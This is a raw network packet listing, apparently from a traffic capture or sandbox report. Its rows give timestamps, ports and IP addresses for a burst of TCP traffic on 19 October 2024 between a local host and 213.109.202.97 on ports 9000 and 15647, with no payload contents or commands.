Oct 19, 2024 03:37:11.830046892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830054998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830056906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830080986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830178022 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830223083 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830271959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830282927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830291986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830302000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830312014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830322981 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830327988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830351114 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830370903 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830540895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830552101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830560923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830570936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830579996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830590010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830590010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830600977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830611944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830615997 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830630064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830650091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830790043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830801964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830811024 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830820084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830841064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830852032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830962896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830974102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830982924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830992937 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831003904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831012964 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831013918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831046104 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831063032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831106901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831119061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831135035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831146002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831156015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831156015 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831166983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831176996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831181049 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831187963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831197977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831207991 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831212997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831218004 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831228018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831234932 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831240892 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831268072 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831285000 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831758022 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831773043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831783056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831792116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831803083 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831813097 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831813097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831825018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831830025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831835032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831835985 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831840038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831850052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831860065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831875086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831882954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831887960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831897974 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831899881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831911087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831922054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.831926107 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.831948996 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832338095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832348108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832355976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832370996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832382917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832382917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832392931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832406998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832417965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832428932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832431078 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832439899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832448959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832459927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832459927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832472086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832482100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832484007 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832511902 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832520008 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832814932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832824945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832834959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832844973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832855940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832861900 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832865953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832876921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832886934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832889080 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832896948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832906961 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832907915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832920074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832926989 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832931995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832942963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832951069 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.832957983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.832963943 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833003044 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833229065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833240032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833247900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833256960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833272934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833277941 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833283901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833295107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833302021 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833307028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833334923 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833353996 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833542109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833553076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833561897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833575964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833585978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833592892 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833595991 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833607912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833617926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833626986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833627939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833636999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833637953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833647966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833657980 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833659887 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833674908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833683968 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833687067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833690882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833698034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833709002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833718061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833724022 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833729029 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833740950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833750010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833760977 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833760977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833775997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833786964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.833787918 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833801031 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.833818913 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834312916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834323883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834332943 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834342957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834352016 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834361076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834364891 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834372997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834388018 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834418058 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834575891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834585905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834594965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834604025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834614038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834625006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834626913 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834635019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834645987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834654093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834664106 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834678888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834918976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834928989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834944963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834954977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834964037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834964991 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.834969044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834979057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834988117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.834996939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835005999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835006952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835019112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835027933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835032940 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835038900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835042953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835059881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835071087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835072041 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835083008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835094929 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835095882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835129023 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835433006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835448027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835457087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835467100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835490942 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835505009 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835653067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835664034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835674047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835684061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835694075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835700035 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835704088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835711956 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835716009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835726976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835736036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835740089 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835746050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835762978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835764885 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835773945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835776091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835784912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835797071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835800886 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835808992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835819006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835828066 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835829020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835840940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835851908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835856915 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835863113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835874081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835886002 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835886955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835899115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.835901976 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835911036 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.835963964 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836467028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836489916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836502075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836510897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836520910 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836530924 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836539984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836543083 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836564064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836574078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836579084 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836585045 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836595058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836606026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836611032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836616993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836638927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836644888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836656094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836667061 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836668015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836680889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836689949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836697102 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836709976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836719036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836724043 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836730957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836741924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836749077 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836752892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.836770058 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.836796045 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837158918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837167978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837178946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837188005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837203979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837205887 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837215900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837223053 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837251902 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837287903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837299109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837308884 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837318897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837327957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837335110 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837340117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837354898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837366104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837367058 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837378025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837388039 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837404966 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837652922 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837663889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837703943 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837732077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837743044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837752104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837762117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837771893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837785959 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837809086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837817907 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837837934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837848902 CEST	9000	49705	213.109.202.97	192.168.2.5
